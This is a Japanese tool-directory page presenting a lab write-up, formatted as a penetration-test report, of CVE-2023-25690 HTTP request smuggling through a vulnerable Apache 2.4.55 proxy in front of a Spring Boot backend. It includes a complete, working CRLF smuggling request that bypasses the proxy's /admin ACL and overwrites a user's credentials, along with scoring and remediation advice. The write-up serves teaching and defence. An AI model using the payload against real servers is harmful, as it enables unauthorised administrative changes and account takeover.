Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/giordy0424/cve-2023-25690_lab
脆弱性分析ウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ラボと実践
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

HTTPリクエストスマグリングラボ: Apache 2.4.55 CRLFインジェクション

リポジトリを見る
323日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apacheプロキシ経由のHTTPリクエストスマグリング

環境設定

インフラストラクチャ

コンポーネント役割バージョン
Apache HTTP Serverリバースプロキシ2.4.55(脆弱性あり)
Spring Boot(組み込みTomcat)バックエンドAPI4.x(Java 21)
SQLiteデータベース—
root@kitploit:~
ユーザー ──► Apache :80(プロキシ) ──► Spring Boot :8080(バックエンド) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: サニタイズされていないCRLF
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> ブロック済み

バックエンド公開エンドポイント

root@kitploit:~
POST /public/register: データベースへのユーザー登録を許可
POST /public/login: 入力された認証情報の検証によるログインを許可し、セッショントークンを発行
GET /public/dashboard: ユーザー専用エリア
GET /api/status: "name"パラメータを受け付ける。サービス状態確認用のサンプルエンドポイント
GET /public/logout

バックエンド非公開エンドポイント

root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}: 理論上は一般公開されておらず、管理者がユーザーデータを変更できるルート

ペネトレーションテストの参照方法論

  1. 計画(Planning) — スコープの定義
  2. 発見(Discovery) — 情報収集、フットプリンティング、スキャニング&エニュメレーション、脆弱性分析
  3. 攻撃(Attack) — エクスプロイト、権限昇格
  4. 報告(Reporting) — エグゼクティブサマリー、技術レポート

エグゼクティブサマリー

ペネトレーションテスト活動中に、Spring Bootバックエンドを露出させるリバースプロキシインフラストラクチャにおいて重大な脆弱性が特定されました。Apache HTTP Serverバージョン2.4.55のプロキシは、CVE-2023-25690(HTTPリクエストスマグリング)の影響を受け、攻撃者がプロキシに設定されたセキュリティフィルタをバイパスし、保護されていない内部管理エンドポイントに直接到達することを可能にします。

この攻撃は、ApacheのRewriteRuleにおける制御文字(CRLF)のサニタイズ欠如を悪用し、バックエンドへの正当なリクエストのパラメータ間に2番目のHTTPリクエストを注入することを可能にします。概念実証では、プロキシのACLによって理論上保護されている/admin/edit/{id}/{newName}/{newPass}エンドポイントを介した、データベース内のユーザー認証情報の不正変更が実証されました。

推奨事項: Apache HTTP Serverを直ちにバージョン**≥ 2.4.56**へ更新し、プロキシ上のセキュリティフィルタを強化し、すべての機密エンドポイントに対してバックエンド側(Spring Security)のセキュリティレイヤーを実装すること。


1 計画(Planning)

1.1 モード

  • 攻撃ベクトル: インターネット
  • 攻撃対象環境: 本番環境

1.2 グレーボックス - 既知情報:

  • フロントエンドのホスト名
  • バックエンドのホスト名(または企業ローカルネットワーク内のIPアドレス)とポート
  • 非公開エンドポイント

1.3 テスト目標

  • ApacheのACLをバイパスして非公開エンドポイントに到達する
  • データベース内のユーザーデータの不正変更を実証する
  • 実際のシナリオにおけるCVE-2023-25690の具体的な影響を評価する

2 脆弱性評価 — 発見フェーズ

2.1 情報収集&フットプリンティング

2.1.1 バナーの取得

HTTPレスポンスヘッダーの分析によるApacheバージョンの特定。

root@kitploit:~
$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

結果: ServerヘッダーがApache/2.4.55を明らかにする。CVEデータベースの参照 → CVE-2023-25690との一致。

CVEによると、このApacheバージョンでは、プロキシへのリクエストからの汎用文字をバックエンドの宛先URLにコピーするRewriteRuleが存在する場合、転記されたテキストはサニタイズされないため、制御文字(改行など)も通過します。

例: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // Pはプロキシモードを意味する

したがって、現在の目標は、プロキシレベルでこの転記を実行するエンドポイントを発見することです。

2.1.2 バックエンド技術の特定

レスポンスの分析とアプリケーションの動作から、セッションがJSESSIONIDを通じて管理されていることが観察され、Javaサーブレットコンテナ(Apache Tomcat、Jetty、WildFlyなど)の使用が確認されます。さらに、存在しないエンドポイントへのリクエストは"Whitelabel Error Page"を返し、バックエンドにSpring Bootがあることを示しています。

2.2 スキャニング&エニュメレーション

2.2.1 エンドポイント発見(ファジング)

辞書ベースのファジング自動化用bashスクリプトを通じて、ネットワーク上に公開されているエンドポイント(おそらくすべて)がマッピングされました。

結果:

エンドポイントHTTPコードメソッドパラメータ
admin403GET(パラメータなし)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(パラメータなし)
public/logout200GET(パラメータなし)
api/status200GET(パラメータなし)
service/*200GET(パラメータなし)

2.2.2 プロキシ設定のマッピング(推論)

  • /service/x
  • /api/status?name=x

の両方が同じレスポンスを返すことから、それらがバックエンドの同じエンドポイントを指していることがわかります。さらに、/service/x/y/zのようなリクエスト(おそらく存在しない)が404を返さないことから、元のエンドポイントがパス変数ではなくパラメータを受け入れていると推測できます。結論として、/service/<サービス>へのリクエストはSpring Bootバックエンド用のRewriteRuleで変換されている(まさに探していたもの)と推測できます。次に、このRewriteRuleがダミー(.*のような正規表現を使用)なのか、適切に構造化されているのかを判断する必要があります。

正当なコンテンツと隠されたコンテンツを分割するために、リクエストに制御文字を挿入してみます:

root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... サービス 'x' は稼働しており安定しています。

CRLFが正しく解釈されるか検証するためにカスタムパラメータを挿入しました。

trash_headerは、Apacheがバックエンドへのリクエストに追加するヘッダーをカプセル化する役割を担います(これにより、それらは単純なX-Headerのテキストとして解釈され、HTTPリクエストの目的では価値を持ちません)。


攻撃者のスコープ外

バックエンドコンテナ内のtcpdumpを使用して、ApacheからのHTTPリクエストを傍受することができました:

root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

バックエンドはこのリクエストを見ます:

root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

「制御文字が制御しました」

レスポンスは、制御文字を含む部分が単なるパラメータではなく、HTTPリクエスト自体の構造として妨げられることなく通過したことを示しています(バックエンドが傍受した名前は'x'のみであるため)。したがって、バックエンドへのHTTPリクエストの形式を課すことができ、プロキシはそれを受け入れました。これにより、実際のスマグリングペイロードへの道が開かれます。

2.3 攻撃面マッピング

エンドポイントメソッドアクセス備考
/public/registerPOST公開ユーザー登録
/public/loginPOST公開ログイン、JSESSIONIDを発行
/public/dashboardGET認証済み専用エリア
/public/logoutGET公開セッション破棄
/api/status?name=GET公開ヘルスチェック
/service/{param}GET公開脆弱なゲートウェイ(クエリ文字列内の$1)
/admin/edit/{id}/{n}/{p}POST保護済み(ACL)ユーザー認証情報の変更
/admin/*ブロック済み(403)Apache ACL

3 攻撃

3.1 攻撃目標

Apacheリバースプロキシに2つの異なるリクエストをSpring Bootバックエンドへ転送させ、2番目のリクエストがApacheのACLフィルタをバイパスして/admin/edit/エンドポイントに到達するようにします。

このフェーズでは、localhostとspring-backendがそれぞれプロキシとサーバーの公開アドレスであると想定します。プロキシとバックエンドが同じネットワーク(または組織)内にある場合、spring-backendはプライベートIPになります(残念ながら知ることは困難です)。

3.2 スマグリングのメカニズム

脆弱性はRewriteRuleにあります:

root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

プロキシはユーザー入力を$1でキャプチャし、制御文字(%20、%0d%0a)をサニタイズせずにクエリ文字列に挿入します。バックエンド(Tomcat)はこれらの文字をURLの終端および同じTCPソケット上の新しいHTTPリクエストの開始として解釈します。

3.3 ペイロードの構成

root@kitploit:~
A) GET /service/x                  → 正当な部分。/service/以降のすべてが
                                      $1(nameパラメータ)に入る

B) %20HTTP/1.1                     → [分割ポイント] バックエンドでURLを
                                      早期に閉じるスペース

C) %0d%0aHost:...%0d%0a%0d%0a     → [ヘッダーインジェクション] 最初の
                                      リクエストを終了するCRLF

D) POST /admin/edit/1/HACKED/PWNED → [スマグリングされたリクエスト] admin
                                      エンドポイントへの隠された悪意のあるリクエスト

E) %20HTTP/1.1                     → 2番目のリクエストのHTTPバージョン

F) %0d%0aContent-Length:%200       → POST用の空ボディ
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [ヘッダーシンク] Apacheが自動的に
                                      追加するヘッダーを吸収

3.4 完全なHTTPリクエスト

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 フローのデコード

Apacheが見るもの(単一のリクエスト):

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

バックエンドが受け取るもの(同じソケット上の2つのリクエスト):

root@kitploit:~
--- リクエスト1(正当だが「切断された」) ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- リクエスト2(スマグリング) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 結果

root@kitploit:~
>> ... HTTP/1.1 200 ... サービス 'x' は稼働しており安定しています。

ID 1のユーザーはHACKEDに名前が変更され、パスワードがPWNEDに変更されました — プロキシのACLの完全なバイパス。


攻撃者のスコープ外

確認のためのデータベースへの直接アクセス:

root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 脆弱性評価

4.1 識別

ID説明
CVE-2023-25690RewriteRule/ProxyPassMatchを伴うmod_proxyを介したApache HTTP ServerのHTTPリクエストスマグリング
CWE-444HTTPリクエストの一貫性のない解釈('HTTPリクエスト/レスポンススマグリング')
CWE-113HTTPヘッダーにおけるCRLFシーケンスの不適切な無害化('HTTPレスポンススプリッティング')

4.2 CVSS 3.1スコアリング

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

基本メトリクス

メトリクス値説明
攻撃ベクトル(AV)N(ネットワーク)リモートネットワークからアクセス可能
攻撃複雑性(AC)L(低)特別な条件なし
必要な権限(PR)N(なし)認証不要
ユーザー操作(UI)N(なし)被害者の操作を必要としない
スコープ(S)C(変更あり)脆弱なコンポーネントと影響を受けるコンポーネントが異なる
機密性(C)H(高)保護されたエンドポイントへのアクセス
完全性(I)H(高)データベース内のユーザーデータの変更
可用性(A)H(高)プロキシのキャッシュポイズニング/ソケットの汚染の可能性

基本スコア: 10.0(重大) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

時間的メトリクス

メトリクス値説明
エクスプロイトコードの成熟度(E)F(機能するエクスプロイトが存在)機能するエクスプロイト
修正レベル(RL)O(公式修正)Apacheの後続バージョンでバグが修正済み
報告の信頼性(RC)C(確認済み)脆弱性が確認され文書化されている

時間的スコア: 9.3(高)

環境メトリクス

メトリクス値説明
攻撃ベクトル(MAV)N(ネットワーク)プロキシがインターネットに公開
攻撃複雑性(MAC)H(高)内部エンドポイント構造の知識が必要
必要な権限(MPR)L(低)いかなる種類の権限も不要
ユーザー操作(MUI)N(なし)外部ユーザーの操作は不要
スコープ(MS)C(変更あり)別のシステムを通じてシステムを侵害
影響メトリクス(MC/MI/MA)H/H/H最大の損害(データベース内のデータ変更)
CIA要件(CR/IR/AR)H/H/H重要システム(ユーザーログイン)

環境スコア: 8.0(高)

ベクター文字列: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

総合スコア: 8.0 — 高


5. 修正

5.1 ソフトウェア更新(推奨)

Apache HTTP Serverをバージョン**≥ 2.4.56**へ更新します。このバージョンでは、[P]フラグ付きのRewriteRuleにおける制御文字のサニタイズがサーバーコアレベルで強制されます。

現在のバージョン対象バージョン修正
2.4.552.4.56+mod_proxyでのCRLFの自動サニタイズ

5.2 バックエンドのハードニング(Spring Boot)

Spring Securityの実装

pom.xmlにspring-boot-starter-securityを追加:

root@kitploit:~
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

管理エンドポイントを保護するSecurityFilterChainを設定:

root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

入力検証

エンドポイントが受け入れるすべてのパラメータ(クエリ文字列、パス変数、フォームデータ)にチェックを追加:

root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // ユーザーがADMINロールを持つことを確認
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "アクセス拒否";
    }
    // ... 認証チェック後にのみ操作を許可
}
ツールをダウンロード